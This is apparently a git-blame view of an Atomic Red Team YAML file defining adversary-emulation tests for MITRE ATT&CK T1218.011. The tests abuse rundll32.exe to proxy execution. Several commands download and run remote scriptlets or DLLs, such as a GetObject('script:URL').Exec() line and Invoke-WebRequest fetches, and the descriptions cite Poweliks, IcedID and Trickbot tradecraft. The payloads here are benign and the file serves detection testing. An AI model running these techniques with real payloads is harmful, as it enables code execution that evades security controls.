2020-06-17 12:55:46 -06:00
attack_technique : T1218.011
display_name: 'Signed Binary Proxy Execution : Rundll32'
2018-05-12 23:09:43 +02:00
atomic_tests :
- name : Rundll32 execute JavaScript Remote Payload With GetObject
2022-07-29 22:31:53 +00:00
auto_generated_guid : 57ba4ce9-ee7a-4f27-9928-3c70c489b59d
2018-05-12 23:09:43 +02:00
description : |
2022-09-09 11:07:11 -06:00
Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened.
This has been used by Win32/Poweliks malware and works as described [here](https://www.stormshield.com/news/poweliks-command-line-confusion/)
2023-02-13 17:10:37 -06:00
2022-09-09 11:07:11 -06:00
Note: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed.
2018-05-12 23:09:43 +02:00
supported_platforms :
2020-06-17 12:55:46 -06:00
- windows
2018-05-12 23:09:43 +02:00
input_arguments :
file_url :
description : location of the payload
2023-02-13 17:10:37 -06:00
type : url
2020-06-17 12:55:46 -06:00
default : https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct
2018-05-12 23:09:43 +02:00
executor :
command : |
2022-08-03 10:02:25 -05:00
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close();
2022-07-29 17:31:23 -05:00
cleanup_command : |
taskkill /IM notepad.exe /f
2020-06-17 12:55:46 -06:00
name : command_prompt
2019-11-05 16:53:49 -05:00
- name : Rundll32 execute VBscript command
2020-05-15 17:19:25 +00:00
auto_generated_guid : 638730e7 -7aed-43dc-bf8c-8117f805f5bb
2019-11-05 16:53:49 -05:00
description : |
Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
2020-03-19 15:02:55 -07:00
Upon execution calc.exe will be launched
2019-11-05 16:53:49 -05:00
supported_platforms :
2020-06-17 12:55:46 -06:00
- windows
2019-11-05 16:53:49 -05:00
input_arguments :
command_to_execute :
description : Command for rundll32.exe to execute
2023-02-13 17:10:37 -06:00
type : string
2019-11-05 16:53:49 -05:00
default : calc.exe
executor :
command : |
rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)
2020-06-17 12:55:46 -06:00
name : command_prompt
2022-09-20 14:53:16 -07:00
- name : Rundll32 execute VBscript command using Ordinal number
2022-09-20 21:53:49 +00:00
auto_generated_guid : 32d1cf1b-cbc2-4c09-8d05-07ec5c83a821
2022-09-20 14:53:16 -07:00
description : |
Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
Upon execution calc.exe will be launched
supported_platforms :
- windows
input_arguments :
command_to_execute :
description : Command for rundll32.exe to execute
2023-02-13 17:10:37 -06:00
type : string
2022-09-20 14:53:16 -07:00
default : calc.exe
executor :
command : |
rundll32 vbscript:"\..\mshtml,#135 "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)
name : command_prompt
2019-11-14 14:04:08 -07:00
- name : Rundll32 advpack.dll Execution
2020-05-15 17:19:25 +00:00
auto_generated_guid : d91cae26-7fc1-457b-a854-34c8aad48c89
2019-11-14 14:04:08 -07:00
description : |
Test execution of a command using rundll32.exe with advpack.dll.
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml
2020-03-19 15:02:55 -07:00
Upon execution calc.exe will be launched
2019-11-14 14:04:08 -07:00
supported_platforms :
2020-06-17 12:55:46 -06:00
- windows
2019-11-14 14:04:08 -07:00
input_arguments :
inf_to_execute :
description : Local location of inf file
2023-02-13 17:10:37 -06:00
type : string
2020-06-17 12:55:46 -06:00
default : PathToAtomicsFolder\T1218.011\src\T1218.011.inf
2020-03-10 17:02:52 -06:00
dependency_executor_name : powershell
dependencies :
2020-06-17 12:55:46 -06:00
- description : |
2023-09-22 10:47:25 -06:00
Inf file must exist on disk at specified location ("#{inf_to_execute}")
2020-06-17 12:55:46 -06:00
prereq_command : |
2023-09-22 10:47:25 -06:00
if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}
2020-06-17 12:55:46 -06:00
get_prereq_command : |
2023-09-22 10:47:25 -06:00
New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
2020-06-17 12:55:46 -06:00
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
2019-11-14 14:04:08 -07:00
executor :
command : |
2023-09-22 10:47:25 -06:00
rundll32.exe advpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1,
2020-06-17 12:55:46 -06:00
name : command_prompt
2019-11-14 14:04:08 -07:00
- name : Rundll32 ieadvpack.dll Execution
2020-05-15 17:19:25 +00:00
auto_generated_guid : 5e46a58e-cbf6-45ef-a289-ed7754603df9
2019-11-14 14:04:08 -07:00
description : |
Test execution of a command using rundll32.exe with ieadvpack.dll.
2020-04-06 15:46:50 -05:00
Upon execution calc.exe will be launched
2019-11-14 14:04:08 -07:00
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml
supported_platforms :
2020-06-17 12:55:46 -06:00
- windows
2019-11-14 14:04:08 -07:00
input_arguments :
inf_to_execute :
description : Local location of inf file
2023-02-13 17:10:37 -06:00
type : string
2020-06-17 12:55:46 -06:00
default : PathToAtomicsFolder\T1218.011\src\T1218.011.inf
2020-03-10 17:02:52 -06:00
dependency_executor_name : powershell
dependencies :
2020-06-17 12:55:46 -06:00
- description : |
2023-09-22 10:47:25 -06:00
Inf file must exist on disk at specified location ("#{inf_to_execute}")
2020-06-17 12:55:46 -06:00
prereq_command : |
2023-09-22 10:47:25 -06:00
if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}
2020-06-17 12:55:46 -06:00
get_prereq_command : |
2023-09-22 10:47:25 -06:00
New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
2020-06-17 12:55:46 -06:00
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
2019-11-14 14:04:08 -07:00
executor :
command : |
2023-09-22 10:47:25 -06:00
rundll32.exe ieadvpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1,
2020-06-17 12:55:46 -06:00
name : command_prompt
2019-11-14 14:04:08 -07:00
- name : Rundll32 syssetup.dll Execution
2020-05-15 17:19:25 +00:00
auto_generated_guid : 41fa324a-3946-401e-bbdd-d7991c628125
2019-11-14 14:04:08 -07:00
description : |
2020-04-06 15:46:50 -05:00
Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation failed" will be opened
2019-11-14 14:04:08 -07:00
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml
supported_platforms :
2020-06-17 12:55:46 -06:00
- windows
2019-11-14 14:04:08 -07:00
input_arguments :
inf_to_execute :
description : Local location of inf file
2023-02-13 17:10:37 -06:00
type : string
2020-06-17 12:55:46 -06:00
default : PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf
2020-03-10 17:02:52 -06:00
dependency_executor_name : powershell
dependencies :
2020-06-17 12:55:46 -06:00
- description : |
2023-09-22 10:47:25 -06:00
Inf file must exist on disk at specified location ("#{inf_to_execute}")
2020-06-17 12:55:46 -06:00
prereq_command : |
2023-09-22 10:47:25 -06:00
if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}
2020-06-17 12:55:46 -06:00
get_prereq_command : |
2023-09-22 10:47:25 -06:00
New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
2020-06-17 12:55:46 -06:00
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
2019-11-14 14:04:08 -07:00
executor :
command : |
2023-09-22 10:47:25 -06:00
rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 "#{inf_to_execute}"
2020-06-17 12:55:46 -06:00
name : command_prompt
2019-11-14 14:04:08 -07:00
- name : Rundll32 setupapi.dll Execution
2020-05-15 17:19:25 +00:00
auto_generated_guid : 71d771cd-d6b3-4f34-bc76-a63d47a10b19
2019-11-14 14:04:08 -07:00
description : |
2020-04-06 15:46:50 -05:00
Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying "installation failed" will be opened
2019-11-14 14:04:08 -07:00
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml
supported_platforms :
2020-06-17 12:55:46 -06:00
- windows
2019-11-14 14:04:08 -07:00
input_arguments :
inf_to_execute :
description : Local location of inf file
2023-02-13 17:10:37 -06:00
type : string
2020-06-17 12:55:46 -06:00
default : PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf
2020-03-10 17:02:52 -06:00
dependency_executor_name : powershell
dependencies :
2020-06-17 12:55:46 -06:00
- description : |
2023-09-22 10:47:25 -06:00
Inf file must exist on disk at specified location ("#{inf_to_execute}")
2020-06-17 12:55:46 -06:00
prereq_command : |
2023-09-22 10:47:25 -06:00
if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}
2020-06-17 12:55:46 -06:00
get_prereq_command : |
2023-09-22 10:47:25 -06:00
New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
2020-06-17 12:55:46 -06:00
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
2019-11-14 14:04:08 -07:00
executor :
command : |
2023-09-22 10:47:25 -06:00
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 "#{inf_to_execute}"
2020-06-17 12:55:46 -06:00
name : command_prompt
2020-12-19 16:17:38 -07:00
- name : Execution of HTA and VBS Files using Rundll32 and URL.dll
2020-12-21 16:40:06 +00:00
auto_generated_guid : 22cfde89-befe-4e15-9753-47306b37a6e3
2020-12-19 16:17:38 -07:00
description : |
IcedID uses this TTP as follows:
rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta
Trickbot uses this TTP as follows:
rundll32.exe URL.dll,FileProtocolHandler C:\\..\\Detail\\akteullen.vbs
2023-02-13 17:10:37 -06:00
2020-12-19 16:26:33 -07:00
In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with "rundll32 spawned wscript"
2020-12-19 16:17:38 -07:00
supported_platforms :
- windows
executor :
command : |
2023-09-22 10:47:25 -06:00
rundll32.exe url.dll,OpenURL "PathToAtomicsFolder\T1218.011\src\index.hta"
rundll32.exe URL.dll,FileProtocolHandler "PathToAtomicsFolder\T1218.011\src\akteullen.vbs"
2021-03-13 09:22:36 -05:00
name : command_prompt
- name : Launches an executable using Rundll32 and pcwutl.dll
2021-03-13 14:24:31 +00:00
auto_generated_guid : 9f5d081a-ee5a-42f9-a04e-b7bdc487e676
2021-03-13 09:22:36 -05:00
description : |
Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable.
supported_platforms :
- windows
input_arguments :
exe_to_launch :
description : Path of the executable to launch
2023-02-13 17:10:37 -06:00
type : path
2021-03-13 09:22:36 -05:00
default : '%windir%\System32\notepad.exe'
executor :
command : |
rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}
2021-09-03 19:20:46 -05:00
name : command_prompt
2022-02-04 20:52:52 -06:00
- name : Execution of non-dll using rundll32.exe
2022-02-05 02:53:26 +00:00
auto_generated_guid : ae3a8605-b26e-457c-b6b3-2702fd335bac
2022-02-04 20:52:52 -06:00
description : |
Rundll32.exe running non-dll
supported_platforms :
2023-02-13 17:10:37 -06:00
- windows
2022-02-04 20:52:52 -06:00
input_arguments :
input_url :
description : Url to download the DLL
2023-02-13 17:10:37 -06:00
type : url
2022-02-04 20:52:52 -06:00
default : https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll
input_file :
description : Non-dll file
2023-02-13 17:10:37 -06:00
type : string
2022-02-04 20:52:52 -06:00
default : C:\Users\$env:username\Downloads\calc.png
2023-02-13 17:10:37 -06:00
dependency_executor_name : powershell
dependencies :
2022-02-04 20:52:52 -06:00
- description : |
Non-dll file must exist on disk at specified location
2023-02-13 17:10:37 -06:00
prereq_command : |
2022-02-04 20:52:52 -06:00
if (Test-Path #{input_file}) {exit 0} else {exit 1}
2023-02-13 17:10:37 -06:00
get_prereq_command : |
2022-02-04 20:52:52 -06:00
Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"
executor :
name : powershell
2023-02-13 17:10:37 -06:00
command : |
2022-02-08 10:38:36 -07:00
rundll32.exe #{input_file}, StartW
- name : Rundll32 with Ordinal Value
2022-02-08 17:38:52 +00:00
auto_generated_guid : 9fd5a74b-ba89-482a-8a3e-a5feaa3697b0
2022-02-08 10:38:36 -07:00
description : |
Rundll32.exe loading dll using ordinal value #2 to DLLRegisterServer.
Upon successful execution, Calc.exe will spawn.
supported_platforms :
2023-02-13 17:10:37 -06:00
- windows
2022-02-08 10:38:36 -07:00
input_arguments :
input_url :
description : Url to download the DLL
2023-02-13 17:10:37 -06:00
type : url
2022-02-08 10:38:36 -07:00
default : https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/bin/AllTheThingsx64.dll
input_file :
description : DLL File
2023-02-13 17:10:37 -06:00
type : string
2022-02-08 10:38:36 -07:00
default : PathToAtomicsFolder\T1218.010\bin\AllTheThingsx64.dll
2023-02-13 17:10:37 -06:00
dependency_executor_name : powershell
dependencies :
2022-02-08 10:38:36 -07:00
- description : |
DLL file must exist on disk at specified location
2023-02-13 17:10:37 -06:00
prereq_command : |
2023-09-22 10:47:25 -06:00
if (Test-Path "#{input_file}") {exit 0} else {exit 1}
2023-02-13 17:10:37 -06:00
get_prereq_command : |
2022-02-08 10:38:36 -07:00
Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"
executor :
name : command_prompt
2023-02-13 17:10:37 -06:00
command : |
2023-09-22 10:47:25 -06:00
rundll32.exe "#{input_file}",#2
2022-02-09 23:57:19 +07:00
- name : Rundll32 with Control_RunDLL
auto_generated_guid : e4c04b6f-c492-4782-82c7-3bf75eb8077e
description : |
Rundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444.
supported_platforms :
2023-02-13 17:10:37 -06:00
- windows
2022-02-09 23:57:19 +07:00
input_arguments :
input_url :
description : Url to download the DLL
2023-02-13 17:10:37 -06:00
type : url
2022-02-09 23:57:19 +07:00
default : https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll
input_file :
description : DLL File
2023-02-13 17:10:37 -06:00
type : string
2022-02-09 23:57:19 +07:00
default : PathToAtomicsFolder\T1047\bin\calc.dll
2023-02-13 17:10:37 -06:00
dependency_executor_name : powershell
dependencies :
2022-02-09 23:57:19 +07:00
- description : |
DLL file must exist on disk at specified location
2023-02-13 17:10:37 -06:00
prereq_command : |
2023-09-22 10:47:25 -06:00
if (Test-Path "#{input_file}") {exit 0} else {exit 1}
2023-02-13 17:10:37 -06:00
get_prereq_command : |
2022-02-09 23:57:19 +07:00
Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"
executor :
name : command_prompt
2023-02-13 17:10:37 -06:00
command : |
2023-09-22 10:47:25 -06:00
rundll32.exe shell32.dll,Control_RunDLL "#{input_file}"
2022-04-29 21:44:18 -04:00
- name : Rundll32 with desk.cpl
auto_generated_guid : 83a95136-a496-423c-81d3-1c6750133917
description : |
Rundll32.exe loading an executable renamed as .scr using desk.cpl
Reference:
- [LOLBAS - Libraries/Desk](https://lolbas-project.github.io/lolbas/Libraries/Desk/)
SIGMA rules:
2023-01-22 06:56:04 +07:00
- [SCR File Write Event](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/file_event/file_event_win_new_src_file.yml)
- [Rundll32 InstallScreenSaver Execution](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml)
2022-04-29 21:44:18 -04:00
supported_platforms :
2023-02-13 17:10:37 -06:00
- windows
2022-04-29 21:44:18 -04:00
input_arguments :
exe_to_launch :
description : Path of the executable to launch
2023-02-13 17:10:37 -06:00
type : path
2022-04-29 21:44:18 -04:00
default : '%windir%\System32\calc.exe'
executor :
name : command_prompt
2023-02-13 17:10:37 -06:00
command : |
2022-04-29 21:44:18 -04:00
copy #{exe_to_launch} not_an_scr.scr
rundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr
2023-02-13 17:10:37 -06:00
cleanup_command : del not_an_scr.scr
2024-02-22 16:29:05 -05:00
- name : Running DLL with .init extension and function
2024-02-25 01:15:31 +00:00
auto_generated_guid : 2d5029f0-ae20-446f-8811-e7511b58e8b6
2024-02-22 16:29:05 -05:00
description : |
This test, based on common Gamarue tradecraft, consists of a DLL file with a .init extension being run by rundll32.exe. When this DLL file's 'krnl' function is called, it launches a Windows pop-up.
DLL created with the AtomicTestHarnesses Portable Executable Builder script.
supported_platforms :
- windows
input_arguments :
dll_file :
description : The DLL file to be called
type : string
default : PathToAtomicsFolder\T1218.011\bin\_WT.init
dll_url :
description : The URL to the DLL file that must be downloaded
type : url
default : https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/bin/_WT.init
dependency_executor_name : powershell
dependencies :
- description : The DLL file to be called must exist at the specified location (#{dll_file})
prereq_command : if (Test-Path "#{dll_file}") {exit 0} else {exit 1}
get_prereq_command : |
New-Item -Type Directory (split-path "#{dll_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "#{dll_url}" -OutFile "#{dll_file}"
executor :
command : |
rundll32.exe #{dll_file},krnl
name : command_prompt
2024-03-18 18:36:19 +02:00
- name : Rundll32 execute command via FileProtocolHandler
auto_generated_guid : f3ad3c5b-1db1-45c1-81bf-d3370ebab6c8
description : |
Test execution of a command using rundll32.exe and the FileProtocolHandler technique.
Upon execution, calc.exe will be launched.
This technique is documented by Levan Abesadze - https://medium.com/@Wolverineisstillalive/system-binary-proxy-execution-rundll32-bypass-method-790871e1f2b7
supported_platforms :
- windows
input_arguments :
command_to_execute :
description : Command for rundll32.exe to execute
type : string
default : calc.exe
executor :
command : |
rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}
name : command_prompt
2024-07-03 05:55:10 +05:30
- name : Rundll32 execute payload by calling RouteTheCall
2024-07-03 00:26:33 +00:00
auto_generated_guid : 8a7f56ee-10e7-444c-a139-0109438288eb
2024-07-03 05:55:10 +05:30
description : |
Launch an executable payload by calling RouteTheCall. Test execution of a command using rundll32.exe to execute a payload{calc.exe} by calling RouteTheCall. Upon execution, calc.exe will be launched.
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Zipfldr.yml
supported_platforms :
- windows
input_arguments :
exe_to_launch :
description : Path of the executable to launch
type : path
default : "'%windir%\\System32\\calc.exe'"
executor :
command : rundll32.exe zipfldr.dll,RouteTheCall "#{exe_to_launch}"
cleanup_command :
name : powershell
elevation_required : false